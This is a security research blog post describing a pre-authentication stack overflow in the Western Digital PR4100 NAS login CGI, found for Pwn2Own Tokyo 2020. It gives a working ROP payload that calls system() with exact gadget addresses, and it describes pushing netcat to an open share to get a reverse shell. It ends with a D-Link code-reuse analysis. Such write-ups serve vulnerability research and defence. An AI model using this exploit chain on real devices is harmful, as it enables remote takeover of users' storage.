Your vulnerability is in another OEM!

Written by Lucas Georges , Julien Boutet , Thomas Chauchefoin - 02/09/2021 - in Exploit , Reverse-engineering - Download
Among targets for the Pwn2own Tokyo 2020 was 2 NAS, the Synology DiskStation DS418play and Western Digital My Cloud Pro PR4100. We took a look at both, and quickly found out Western Digital PR4100 was vulnerable via its webserver.

However, exploitation was not THAT easy (it was not that hard either) and ultimately it did not even mattered since the vulnerability was wiped by a major OS update pushed mere days before the contest.

In the end, the vulnerable code we audited might not have even been written by Western Digital after all....

The Western Digital PR4100 NAS runs a custom embedded linux system. When we started auditing it, it was running the "My Cloud OS 3" v2.41.116. The firmware is easily unpackable via binwalk -Mer (you may need squashfs tools installed).

I may look cool, but I am actually a goat

The PR4100, like any connected devices nowadays, exposes several services remotely: webserver, samba, upnp, etc. We can enable a SSH root access on the device in order to list those services:

root@MyCloudPR4100 root # netstat -tulpn
Active Internet connections (only servers)
Proto Local Address           Foreign Address State  PID/Program name
tcp   0.0.0.0:443             0.0.0.0:*       LISTEN 3320/httpd         
tcp   127.0.0.1:4700          0.0.0.0:*       LISTEN 4131/cnid_metad
tcp   0.0.0.0:445             0.0.0.0:*       LISTEN 4073/smbd
tcp   192.168.178.31:49152    0.0.0.0:*       LISTEN 3746/upnp_nas_devic
tcp   0.0.0.0:548             0.0.0.0:*       LISTEN 4130/afpd
tcp   0.0.0.0:3306            0.0.0.0:*       LISTEN 3941/mysqld
tcp   0.0.0.0:139             0.0.0.0:*       LISTEN 4073/smbd
tcp   0.0.0.0:80              0.0.0.0:*       LISTEN 3320/httpd 
tcp   0.0.0.0:8181            0.0.0.0:*       LISTEN 1609/restsdk-server
tcp   0.0.0.0:22              0.0.0.0:*       LISTEN 2761/sshd
tcp6  :::445                  :::*            LISTEN 4073/smbd
tcp6  :::139                  :::*            LISTEN 4073/smbd
tcp6  :::22                   :::*            LISTEN 2761/sshd
udp   0.0.0.0:1900            0.0.0.0:*              3746/upnp_nas_devic
udp   0.0.0.0:24629           0.0.0.0:*              2076/mserver
udp   172.17.255.255:137      0.0.0.0:*              4077/nmbd
udp   172.17.42.1:137         0.0.0.0:*              4077/nmbd
udp   192.168.178.255:137     0.0.0.0:*              4077/nmbd
udp   192.168.178.31:137      0.0.0.0:*              4077/nmbd
udp   0.0.0.0:137             0.0.0.0:*              4077/nmbd
udp   172.17.255.255:138      0.0.0.0:*              4077/nmbd
udp   172.17.42.1:138         0.0.0.0:*              4077/nmbd
udp   192.168.178.255:138     0.0.0.0:*              4077/nmbd
udp   192.168.178.31:138      0.0.0.0:*              4077/nmbd
udp   0.0.0.0:138             0.0.0.0:*              4077/nmbd
udp   0.0.0.0:30958           0.0.0.0:*              3808/apkg
udp   0.0.0.0:514             0.0.0.0:*              1958/syslogd
udp   127.0.0.1:23457         0.0.0.0:*              3985/wdmcserver
udp   127.0.0.1:46058         0.0.0.0:*              3746/upnp_nas_devic
udp   0.0.0.0:48299           0.0.0.0:*              2481/avahi-daemon:
udp   0.0.0.0:5353            0.0.0.0:*              2481/avahi-daemon:

The webserver is implemented using a good ol' cgi bin served via apache2. Access to the cgi-bin folder is declared/described/made by a rewrite rule in web/apache2/conf/mods-enabled/rewrite.conf towards the file cgi_api.php:

<Directory "/var/www/cgi-bin/">
  RewriteCond %{REMOTE_ADDR} !^127\.0\.0\.1$
  RewriteCond $1 !^abFiles$
  RewriteRule ^(\w*).cgi$ /web/cgi_api.php?cgi_name=$1&%{QUERY_STRING} [L]
</Directory>

/web/apache2/conf/mods-enabled/rewrite.conf

 

/web/pages/cgi_api.php implements a big switch case based on the cgi requested by an external user:

$ca = new cgiAPI;
switch($cgi_name)
{
	case "login_mgr": //does not need to authentication
	{
		$toURL = sprintf("/cgi-bin/%s.cgi", $cgi_name);
		$send_data = $ca->get_query_data();
		$result = $ca->cgiAPI_SEND($toURL, $send_data); //return data is xml type
		$res = $ca->get_response_body($result);
		$http_code = $ca->get_http_code();

		/* ... */
	}
		break;

	case "system_mgr":
	{
		$send_data = $ca->get_query_data();

		if (check_function_permission($cgi_name, $send_data['cmd']) === 0)
		{
			http_response_code(406); //Not Acceptable
		}
		/* ... */
		break;
	}

	case "account_mgr":
	{
		$send_data = $ca->get_query_data();

		if (check_function_permission($cgi_name, $send_data['cmd']) === 0)
		{
			http_response_code(406); //Not Acceptable
		}
		/* ... */
			break;
	}

	case "p2p_upload":
	{
		$send_data = $ca->get_query_data();
		
		if (check_function_permission($cgi_name, $send_data['cmd']) === 0)
		{
			http_response_code(406); //Not Acceptable
		}
		/* ... */
		break;
	}

	case "apkg_mgr":
	{
		$send_data = $ca->get_query_data();

		if (check_function_permission($cgi_name, $send_data['cmd']) === 0)
		{
			http_response_code(406); //Not Acceptable
		}
		/* ... */
		break;
	}

	case "s3":
	case "folder_tree":
	case "webfile_mgr":
	{
		/* ... */

		default_curl($ca, $cgi_name, $send_data);
	}
		break;

	case "network_mgr":
	case "usb_device":
	case "remote_backup":
	case "app_mgr":
	case "iscsi_mgr":
	case "virtual_vol":
	case "snmp_mgr":
	{
		/* ... */

		default_curl($ca, $cgi_name);
	}
		break;

	case "webpipe": //access xml file
	{
		/* ... */
		if (check_function_permission($cgi_name, $_xml_file) === 0)
			http_response_code(406); //Not Acceptable
	}
		break;

	default:
	{
		default_curl($ca, $cgi_name);
	}
}

/web/pages/cgi_api.php

 

This file restricts unauthenticated users to access only login_mgr.cgi and pretty much nothing else. At least we don't have to spend hours looking at the attack surface 😄.

The authentication scheme only takes two POST parameters:

  • a 32 bytes username string
  • a 256 bytes base64 password string.

There are several ways to authenticate a user on the webserver, but the simplest one is by comparing the username/password against an existing user account in the /etc/shadow file:

Nothing out of the ordinary... except maybe the size of the base64 buffer for the password: 256 bytes in base64 can translate up to 192 bytes in raw, which pretty lengthy for a password!

That's also where we have what we call a "code smell":

do_base64_pton calls b64_pton with the size of the input buffer b64_pwd instead of computing the max b64 buffer size allowed for a 64-byte raw buffer, which is 64*4/3 = 88  characters (with padding).

So here we can actually write outside of pwd onto the next buffer on the stack, which is b64_pwd aka our input buffer.

This is not a vulnerability per se, but you'll see it will greatly help in our exploitation phase.


Let's stop beating around the bushes and explain where the vulnerability lies:

The function is pretty straightforward: it tries to proceed to authentication with the credentials provided by the client against the shadow file. However, for some unknown reasons that might have to do with code reuse (more on that in the last part of this blogpost), there is a strcpy of our base64 decoded password into a 120 bytes stack buffer password_from_user!

Well, if you didn't already recognized it, this is a pretty obvious stack buffer overflow and I highly encourage you to read the the paper which launched the offensive security research industry: Smashing The Stack For Fun And Profit.

This is a '90-style vulnerability located in a '90-style binary since login_mgr.cgi does not have any stack canaries nor PIE:

  00400000-00407000 r-xp 00000000 08:02 7077896                            /var/www/cgi-bin/login_mgr.cgi
  00607000-00608000 rw-p 00007000 08:02 7077896                            /var/www/cgi-binlogin_mgr.cgi
  [... lots of PIE-activated system libs ...]
  ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0                  [vsyscall]

Before delving into the exploitation, let's take a moment in order to describe our debugging setup, which usually is the first you want to do when developing an exploit.

Debugging setup

By default, the PR4100 mounts and exposes several folders over AFP or SMB, one of them being /mnt/HD/HD_a2/Public/:

root@MyCloudPR4100 root # ls -als /mnt/HD/HD_a2/Public/
     8 drwxrwxrwx    6 root     root          4096 Aug 13 06:06 .
     4 drwxrwxrwx   10 root     root          4096 Aug 10 10:34 ..
     4 drwxrwxrwx    2 root     root          4096 Aug 10 10:21 Shared Music
     4 drwxrwxrwx    2 root     root          4096 Aug 10 10:21 Shared Pictures
     4 drwxrwxrwx    2 root     root          4096 Aug 10 10:21 Shared Videos
     8 drwxrwxrwx    3 nobody   share         4096 Aug 12 08:39 busybox
  7236 -rwxrwxrwx    1 nobody   share      7404344 Aug 11 09:47 gdb-7.10.1-x64
  2148 -rwxrwxrwx    1 nobody   share      2192088 Aug 11 09:47 gdbserver-7.10.1-x64
    32 -rwxr-xr-x    1 root     root         31960 Aug 12 08:00 login_mgr.cgi
    36 -rwxrwxrwx    1 nobody   share        31960 Aug 12 08:27 login_mgr_patched.cgi
  2848 -rwxrwxrwx    1 nobody   share      2914424 Aug 12 11:34 nc
  2852 -rwxrwxrwx    1 nobody   share      2914424 Aug 12 11:26 ncat
    28 -rwxrwxrwx    1 nobody   share        22140 Aug 12 11:26 netcat

This folder can be accessed by any unauthenticated user, and any file written in it has 777 perms, which is pretty useful for an attacker1.

apache unfortunately does not run in fast cgi mode here. In the "slow" mode, the apache process forks a new process upon receiving a cgi request in order to handle this one. When this request is processed, that newly forked process dies... Debugging such an ephemeral process is always a PITA.

Moreover, in this setup there are 4 instances of apache running in parallel so it can be painful to know which process to attach to and do set follow-fork-mode child in order to debug the authentication request.

Instead we use the following technique de maître clodo ("quick and dirty" for you English people):

  • we patched login_mgr.cgi by adding an eb fe2 at the begining of wd_login
  • we pushed login_mgr_patched.cgi on the NAS and replaced the symlink to point to our binary:
rm  /var/www/cgi-bin/login_mgr.cgi
ln -s /mnt/HD/HD_a2/Public/login_mgr_patched.cgi /var/www/cgi-bin/login_mgr.cgi

 

Upon request launch, a new process is forked and put in an infinite loop. We just have to attach our gdb/gdbserver on it and type the following commands to "unfreeze" the process:

display /i $pc
set {int} $pc=0xc0315741        // patching back the original code 
si
si
set {int} 0x402980=0xc031ebfe   // putting back ebfe (not mandatory)
c

Note: the symlink modification does not survive a reboot. It allows us not to brick the device if we did something wrong ☺️

From overflow to RIP control

password_from_user is placed just before do_auth_with_shadow's return address and there is no stack canary between so we just need to overflow the buffer by the size of a pointer to control rip:

TARGET_IP = struct.pack('P', 0xdeadbeef)
password = base64.b64encode(b'\xca'*120+bytes(TARGET_IP))

Here's the result:

Program received signal SIGSEGV, Segmentation fault.
0x00000000deadbeef in ?? ()
1: x/i $pc
=> 0xdeadbeef:	<error: Cannot access memory at address 0xdeadbeef>
(gdb) info registers
rax            0x0	0
rbx            0xcacacacacacacaca	-3834029160418063670
rcx            0x33	51
rdx            0x4	4
rsi            0x7fffd04e84e0	140736688194784
rdi            0x607540	6321472
rbp            0xcacacacacacacaca	0xcacacacacacacaca
rsp            0x7fffd04e85b0	0x7fffd04e85b0
r8             0xffff	65535
r9             0x67672f694f4f6c56	7450976237856451670
r10            0x7fffd04e8090	140736688193680
r11            0x7f997ffcb6a0	140297253992096
r12            0xcacacacacacacaca	-3834029160418063670
r13            0xcacacacacacacaca	-3834029160418063670
r14            0x0	0
r15            0x0	0
rip            0xdeadbeef	0xdeadbeef
eflags         0x10202	[ IF RF ]
cs             0x33	51
ss             0x2b	43
ds             0x0	0
es             0x0	0
fs             0x0	0
gs             0x0	0
(gdb) bt
#0  0x00000000deadbeef in ?? ()
#1  0x0000000000000000 in ?? ()

Easy-peasy, lemon squeezy ☺️

These are the registers we control when the program crashes:

  • complete control over rbx, rbp, r12, r13 and obviously rip
  • r12 points to 0x607540, a static buffer containing the md5 hash of the password query variable which will be checked against /etc/shadow entries for authentication:
    • (gdb) x /s 0x607540      
       0x607540:    "$1$$sKaIVlOOi/gg7W7Zl6XSw0"
      
    •    Technically "controllable" but really difficult in reality.
  • r11 points to free() (/lib64/libc.so.6). Might be interesting if we want to return to the libc with the correct gadget.
  • rsi and r10 store a stack memory address

from RIP control to system()

This is where things get a bit difficult:

  • login_mgr.cgi is the only binary without PIE in the process, so it's the only binary with predictable addresses. Moreover, the process is mapped in the 32-bit address space whereas system libs are mapped as 64-bit addresses so we don't even have "relative" predictable addresses since the module is pretty disjoint from system libs.
  • The process is transient (i.e. destroyed on request completion, unlike fast-cgi) so it is useless to try to leak an address as a stepping stone in the exploitation. The exploit has to be done in a single shot.
  • strcpy overwrites the process' stack until the first NUL byte, and since our stack pivot must be a valid 32-bit address pointing in login_mgr.cgi .text section, we can't put any NUL byte in the first 120 bytes and we have to place at least 4 \x00 for our stack pivot, which severely weakens our exploitation primitive.

So to recap we have to write a single shot exploit, using gadgets only located in login_mgr.cgi (the .text section is only 7Kb) and with payload buffer of maximum 192 chars, in which there are additional constraints.

And the objective is to have an RCE on the system.

Not so easy-peasy, lemon squeezy 😞

The binary is not bountiful with cool rop gadgets, however it does have an import for system() which is potentially just what we need. However, we do not have control over rdi, which is the first argument of a function in x86-64 linux calls, which translates to the cmd string for system(char *cmd). So we can't simply jump on system(), we have to control rdi in some way before.

These are the xrefs calling system() in login_mgr.cgi:

.text:0000000000402800	echo_egiga0_ip_in_tmp_file	sprintf(s, "echo '%s' > /tmp/IPStr", a1);
                                                         result = system(s);
.text:0000000000402EE3	wd_login	                  system("rm /tmp/login_status.xml >/dev/null 2>&1");
.text:00000000004031D1	wd_login	                  system("rm /tmp/login_status.xml >/dev/null 2>&1");
.text:00000000004036F5	wd_login	                  system("upsd -L>/dev/null 2>&1");
.text:00000000004039BB	__lighty_ssl_CVE_2019_16057	sprintf(s, "lighty_ssl -p \"%s\" > /dev/null 2>&1", a1);
                                                        system(s);

echo_egiga0_ip_in_tmp_file and __lighty_ssl_CVE_2019_16057 are dead code, there is no control flow allowing the program to call them. What's interesting is in both of these functions, the calls to system() are done with a variable s instead of a static const string hardcoded in the .rodata section, which we obviously can't overwrite.

These are the corresponding gadgets:

  • echo_egiga0_ip_in_tmp_file+8b 0x4027FB:
    • echo_egiga0_ip_in_tmp_file+8B   0C8 48 8D 7C 24 30                 lea     rdi, [rsp+30h]  ; command
      echo_egiga0_ip_in_tmp_file+90   0C8 E8 3B F4 FF FF                 call    _system
  • __lighty_ssl_CVE_2019_16057+27 0x04039B7:
    • __lighty_ssl_CVE_2019_16057+27   108 48 8D 3C 24                    lea     rdi, [rsp]      ; command
      __lighty_ssl_CVE_2019_16057+2B   108 E8 80 E2 FF FF                 call    _system

So we can either load rdi from qword ptr [rsp] or from qword ptr [rsp + 0x30].

Let's see where rsp points to when pivoting:

TARGET_RET = 0x403BFE
password = base64.b64encode(b'\xca'*120+bytes(struct.pack('P', TARGET_RET)))
# password = "ysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrK/jtAAAAAAAA="
(gdb) x /80gx $rsp
0x7ffe4ca77440: 0x0000000000000000  0x000000005f367eef
    $rsp+0x010: 0x0000000000000000  0x0000000000000000
    $rsp+0x020: 0x0000000000000000  0x0000000000000000
    $rsp+0x030: 0x0000000000000000  0x0000000000000000
    $rsp+0x040: 0x0000000000000000  0x0000000000000000
    $rsp+0x050: 0x0000006e696d6461  0x0000000000000000
    $rsp+0x060: 0x0000000000000000  0x0000000000000000
    $rsp+0x070: 0x0000000000000000  0x0000000000000000
    $rsp+0x080: 0x0000000000000000  0x0000000000000000
    $rsp+0x090: 0xcacacacacacacaca  0xcacacacacacacaca
    $rsp+0x0a0: 0xcacacacacacacaca  0xcacacacacacacaca
    $rsp+0x0b0: 0xcacacacacacacaca  0xcacacacacacacaca
    $rsp+0x0c0: 0xcacacacacacacaca  0xcacacacacacacaca
    $rsp+0x0d0: 0xcacacacacacacaca  0xcacacacacacacaca
    $rsp+0x0e0: 0xcacacacacacacaca  0xcacacacacacacaca
    $rsp+0x0f0: 0xcacacacacacacaca  0xcacacacacacacaca
    $rsp+0x100: 0xcacacacacacacaca  0x0000000000403bfe
    $rsp+0x110: 0x4b7273794b727300  0x4b7273794b727379
    $rsp+0x120: 0x4b7273794b727379  0x4b7273794b727379
    $rsp+0x130: 0x4b7273794b727379  0x4b7273794b727379
    $rsp+0x140: 0x4b7273794b727379  0x4b7273794b727379
    $rsp+0x150: 0x4b7273794b727379  0x4b7273794b727379
    $rsp+0x160: 0x4b7273794b727379  0x4b7273794b727379
    $rsp+0x170: 0x4141414141746a2f  0x000000003d414141
    $rsp+0x180: 0x0000000000000000  0x0000000000000000
    $rsp+0x190: 0x0000000000000000  0x0000000000000000
    $rsp+0x1a0: 0x0000000000000000  0x0000000000000000
    $rsp+0x1b0: 0x0000000000000000  0x0000000000000000
    $rsp+0x1c0: 0x0000000000000000  0x0000000000000000
    $rsp+0x1d0: 0x0000000000000000  0x0000000000000000
    $rsp+0x1e0: 0x0000000000000000  0x0000000000000000
    $rsp+0x1f0: 0x0000000000000000  0x0000000000000000
    $rsp+0x200: 0x0000000000000000  0x0000000000000000
    $rsp+0x210: 0x0000000000000000  0x0000000000000000
    $rsp+0x220: 0x0000000000000000  0x0000000000000000
    $rsp+0x230: 0x0000000000000000  0x0000000000000000
    $rsp+0x240: 0x0000000000000000  0x0000000000000000
    $rsp+0x250: 0x0000000000000000  0x0000000000000000
    $rsp+0x260: 0x0000000000000000  0x0000000000000000
    $rsp+0x270: 0x0000000000000000  0x0000000000000000

(gdb) x /s $rsp+0x111
0x7ffe4ca77551:	"srKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrKysrK/jtAAAAAAAA="

When we return from do_auth_with_shadow, rsp is locating exactly  0x90 bytes before our controlled pw_passwd.

Interesting observation: behind our pw_passwd buffer we find a truncated base64 string corresponding to b64_pwd.  This string is corrupted "from the front" since do_base64_pton is also overwriting buffers as we've seen previously.

After some time playing with gadgets in login_mgr.cgi, we finally had an eureka moment: if the payload part between $rsp+0x090 and $rsp+0x0108 is not really usable because of the non-NUL bytes constraint, anything behind $rsp+0x0108 (the return address) is fair game, and entirely controllable since it comes from do_base64_pton!

As said previously, the overall buffer size limit is 192 (0xc0) bytes so anything between $rsp+0x0110 and $rsp+0x0150 is under our control:

exploitation is always about aligning stuff

 

The plan here is to jump on a gadget that will shift rsp towards that $rsp+[0x0110-0x0150] fully controllable zone in order to have a secondary "stack pivot" that will allow us to chain one or two gadgets, the goal here being to call system() with content pointed by rdi under our control.

This is an abridged list of useful gadgets from login_mgr.cgi:

$ ./rp-lin-x64 --unique -f login_mgr.cgi --rop=3 | grep "lea rsp" | grep -v "; lea rsp" | grep -v "cvttsd2si"
0x00402269: lea rsp, qword [rsp+0x00000008] ; pop rbx ; pop rbp ; ret  ;  (5 found)
0x00402538: lea rsp, qword [rsp+0x00000010] ; pop rbx ; ret  ;  (2 found)
0x00403e21: lea rsp, qword [rsp+0x00000018] ; pop rbx ; pop rbp ; ret  ;  (1 found)
0x004028e9: lea rsp, qword [rsp+0x00000020] ; pop rbx ; ret  ;  (6 found)
0x0040396f: lea rsp, qword [rsp+0x00000028] ; ret  ;  (1 found)
0x004037d4: lea rsp, qword [rsp+0x00000048] ; ret  ;  (1 found)
0x00404414: lea rsp, qword [rsp+0x00000050] ; pop rbx ; ret  ;  (1 found)
0x00402805: lea rsp, qword [rsp+0x000000B8] ; pop rbx ; pop rbp ; ret  ;  (1 found)
0x00402240: lea rsp, qword [rsp+0x000000D8] ; pop rbx ; pop rbp ; ret  ;  (1 found)
0x0040248e: lea rsp, qword [rsp+0x00000108] ; pop rbx ; pop rbp ; ret  ;  (3 found)
0x004039c2: lea rsp, qword [rsp+0x00000108] ; ret  ;  (1 found)
0x00403bfe: lea rsp, qword [rsp+0x00000140] ; pop rbx ; ret  ;  (1 found)
0x00403e68: lea rsp, qword [rsp+0x00000408] ; pop rbx ; pop rbp ; ret  ;  (1 found)

As you can see, not a whole lot of gadgets moving rsp. There are only 2 unique gadgets that seem useful enough:

  • 0x0040248e: lea rsp, qword [rsp+0x00000108] ; pop rbx ; pop rbp ; ret; which shifts rsp by +0x128 bytes (0x108 + 2*8 + 0x10 = 0x128)
  • 0x00403bfe: lea rsp, qword [rsp+0x00000140] ; pop rbx ; ret; which shifts rsp by +0x150 bytes (0x140 + 1*8 + 0x10 = 0x158)

There are several ropchains available from the 5 gadgets (2 for the system() call and the previous 3) but this is the simplest one we've found:

password = base64.b64encode(b"".join([
  b'\xca'*120,                            # padding, must not have any NUL byte
  bytes(struct.pack('P', 0x0040248e)),    # lea rsp, [rsp+0x108]; pop rbx; pop rbp; retn;
  b'\xca'*8,                              # padding
  bytes(struct.pack('P', 0x04039B7)),     # lea rdi, [rsp]; system();
  command + b"\x00"                       # this buffer will be referenced by rdi on system() call
]))

The only remaining constraint: the command string length must be inferior or equal to 48 bytes, NUL byte included.

From system() to RCE

At that point we cleared off the most difficult hurdle. We can launch any 48-byte command line remotely on the system, so we are pretty good.

A few remarks:

  • The samba/afpd configuration mounts by default 3 shared folders: Public, TimeShare and another one that we don't remember the name anymore.
  • Any of these shares are accessible to unauthenticated guests and any file written on them is chown'ed nobody:share and chmod'ed 777 (therefore executable).
  • Share mounts are enumerables via /shares/*, via /mnt/HDXX/HD_YY/* via nmap or even simpler via smbclient

Just push a netcat static binary on the Public share and call it with the correct arguments, and voilà you have a reverse shell on the NAS!

Contest

The contest was announced by ZDI on the 28th of July 2020 and was going to take place on the 5th of November 2020 (end of registration on the 30th of October 2020). Western Digital pushed a major update on their "MyCloud OS" from version 3 to version 5.04.114 on the 27th of October 2020, which is exactly 2 days before the end of registration for Pwn2Own!

Bad timing from WD or intentional push to prevent security researcher from reporting too many exploits on the target, we might never know
This is pretty cheeky from WD, considering they rendered useless 3 months of collective research from P2O contestants just 48h before this tweet

The bad faith of WD is apparently notorious enough among security researchers that some don't even bother with proper vulnerability disclosure anymore and published the vulnerability directly on Twitter. This vulnerability does not have a proper CVE attached and, a year later, the OS3 version still embeds the vulnerability without any mention that users of PR4100 must update to OS5 if they want to stay secure.

In the end, the last minute major OS update did not even really worked in WD's favor since there were still 6 successful RCE against it! (1 unique, 2 full duplicates of the first, 3 partial duplicates of the previous ones).

Variant analysis

Let's actually conclude with something more interesting: we use some dead code as a gadget, but why this code is here in the first place?  On Internet, the __lighty_ssl_CVE_2019_16057 function points towards the following blogpost:

 

you can play "spot the differences" with our code

 

When looking at the blogpost, one thing is striking: the authentication code looks verily similar!

D-link is a Taiwanese company located in Taipei, Western Digital is an American company with a headquarter in San José, California. Not really related. So why do they share the same codebase?

It's not the first time some security researcher wonder why Western Digital and D-link code looks the same:

D-Link and WD shared the same backdoor account
Source : https://securityboulevard.com/2018/01/d-link-nas-backdoor-found-years-later-in-western-digital-my-cloud-boxes/

D-Link began to wind down their NAS product division (the "DNS-XXX" SKUs) around 2015 and now the only network storage equipments it sells are related to video recording (the "DNR-XXX" SKUs) so it would make sense for them to sell out their now "useless" firmware code to one of their competitor. It would allow the company to extract the most of their internal development effort out of their dead business line. 😊

Anyway, we downloaded a metric ton of firmwares from D-link and Western Digital and found out that a lot embed the dangerous strcpy call, even if none are actually vulnerable because of size restrictions on user-supplied login and password:

 

table of variants from WD and D-link

 

In conclusion, if you ever have to audit a Western Digital equipment, try to take a look at CVE published on D-Link devices. 😁

  • 1. We dropped a gdb and gdbserver as well as several post-exploit utilities for the exploitation ☺️
  • 2. eb fe is an infinite loop in X86\X64 assembly code and a well known debugging trick among exploit devs and crackers.